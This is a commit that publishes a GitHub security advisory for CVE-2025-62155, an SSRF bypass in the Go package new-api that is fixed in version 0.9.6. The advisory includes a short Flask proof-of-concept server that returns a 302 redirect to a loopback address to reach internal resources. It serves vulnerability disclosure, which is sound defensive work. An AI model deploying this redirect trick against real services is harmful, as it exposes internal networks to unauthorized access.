Publish GHSA-9f46-w24h-69w4

Author: advisory-database[bot]

advisories/github-reviewed/2025/11/GHSA-9f46-w24h-69w4/GHSA-9f46-w24h-69w4.json

@@ -0,0 +1,61 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-9f46-w24h-69w4",
+  "modified": "2025-11-24T20:05:21Z",
+  "published": "2025-11-24T20:05:21Z",
+  "aliases": [
+    "CVE-2025-62155"
+  ],
+  "summary": "new-api is vulnerable to SSRF Bypass",
+  "details": "### Summary\nA recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur.\nBecause the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet.\n\n### Details\nUse the following script to deploy on the attacker's server. Since ports 80, 443, and 8080 are default ports within the security range set by the administrator and will not be blocked, the service is deployed on port 8080.\n```\nfrom flask import Flask, redirect  \n  \napp = Flask(__name__)  \n  \[email protected]('/redirect')  \ndef ssrf_redirect():  \n    return redirect('http://127.0.0.1:8003/uid.txt', code=302)  \n  \nif __name__ == '__main__':  \n    app.run(host='0.0.0.0', port=8080)\n```\nThen, a request is made to the malicious service opened by the attacker, and it can be found that the resources on the intranet are successfully accessed.\n<img width=\"663\" height=\"60\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2f296cff-510d-4cfe-8509-518e747bf8fe\" />\nAt the same time, the locally opened service 127.0.0.1:8083/uid.txt also received related requests.\n<img width=\"717\" height=\"79\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d6b6d2cc-280b-45b5-9946-10b7891bf017\" />\n\n### Impact\nUsing 302 redirects to bypass previous SSRF security fixes",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "github.com/QuantumNous/new-api"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "0.9.6"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-9f46-w24h-69w4"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/QuantumNous/new-api/commit/e8966c73746d35bb7f4f014ad1195a96d445cacd"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/QuantumNous/new-api"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-918"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-11-24T20:05:21Z",
+    "nvd_published_at": null
+  }
+}